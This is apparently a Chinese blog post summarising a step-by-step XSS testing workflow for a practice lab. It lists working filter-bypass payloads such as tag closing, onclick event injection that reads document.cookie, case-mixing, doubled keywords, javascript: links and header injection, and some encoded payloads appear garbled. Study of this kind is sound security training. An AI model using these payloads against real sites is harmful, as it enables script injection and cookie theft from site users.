xss测试步骤总结

文章目录

测试流程

先看bp

再看回显

测试常规xss语句

接着看F12上下文

然后是构造闭合

最后是依次测试绕过方法

成功的时候要能得到一个可以复现的url

1.开启burp

正常输入看响应包和发送包有没有相同点

如果没有进入第二步

2.测试常规xss语句

一般选即可,或,或 οnclick=alert(document.cookie)

只用做轮子测试,如果还不行,进入下一步

3.观察回显

比如上一步中输入,输入框回显异常

4.测试闭合与绕过

Level2

F12观察输入框位置上下文

可以发现语句存在需要闭合的地方,改成"><img src="javascript:alert('XSS')后语句看起来才正常

所以轮子应该类似">{javascript}

Level3

">//

此处使用了htmlspecialchars转义了<>等特殊字符,使得尖括号里的代码不能执行,如果找不到绕过方法,只能执行事件函数,比如onclick,直接结束

&:转换为&

":转换为"

':转换为成为 '

<:转换为<

:转换为>

由上可以看出单引号没有转义,可以用它来做闭合

Level4

同上

Level5

发现过滤了on,会在on之间插入_,ri也被过滤

因此只能找不带on和

Level6

这关链接也被过滤,但是可以通过大小写绕过

" oNclick=alert(document.cookie) "

总结:xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

Level7

多写绕过

" oonnclick=alert(document.cookie) "

以此步骤测试,先看bp,再看回显,接着看F12,然后是看闭合,最后是依次测试绕过方法

5.xss绕过方法

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码

burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息

xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

' οnclick=' alert("123");

5)双引号闭合+事件函数

" οnclick=alert('123');"

6)引号闭合+链接

"><a href=javascript:alert('xss')>xss

7)大小写绕过

"><a hRef=javascript:alert('xss')>xss

8)多写绕过

" oonnclick=alert('123');"

9)unicode编码

javascript:alert('xss')

javascrIpt:alert('xss')

10)unicode编码+//注释

javascript:alert('xss')//http://www.baidu.com

javascript:alert('xss')//http://

11)隐藏标签赋值

t_sort=123" type="" οnclick="alert('xss')

12)referer注入

" type="" οnclick="alert(document.cookie)

13)UA头注入

" type="" οnclick="alert(document.cookie)

14)Cookie注入

" οnclick="alert('xss') type="

15)`替换()

16)实体编码绕过

https://www.qqxiuzi.cn/bianma/zifushiti.php

17)--!>注释绕过

注释方式有两种:

相关推荐
zander2582 分钟前
知识分享平台项目复习第二天:登录模块中的双令牌与刷新安全(2)
xss·csrf·cors·登录模块·cookie的三个属性
Captaincc2 小时前
AI用量v0.1.11更新发布 新增 jusage doctor 诊断指令 托盘展示token 和余额 新增 AutoClaw 支持
前端·后端·vibecoding
计算机魔术师3 小时前
德国Wiki被黑后两周,OpenAI终于把模型失控的账本摊开了
前端
kyriewen4 小时前
我让 AI 当面试官面了我一轮:第 3 个追问我就卡住了(附 10 道追问清单)
前端·面试·ai编程
IT_陈寒4 小时前
Python的GIL把我坑惨了,多线程跑得比单线程还慢
前端·人工智能·后端
前端snow5 小时前
ai agent --- 多agent框架之图编排引擎-langgraph
前端
竹林8185 小时前
OmniPic Studio v3.2.1 核心技术架构与全平台发版解析文档
前端·浏览器
JamesZhang800785 小时前
页面内存只涨不跌? 一次泄漏排查, 牵出 WeakMap 的诞生
前端
Z小明5 小时前
第 6 章 组件进阶
前端·vue.js
江华森5 小时前
HTTP请求的完整过程详解:从DNS解析到TCP挥手的微秒级实战分析
前端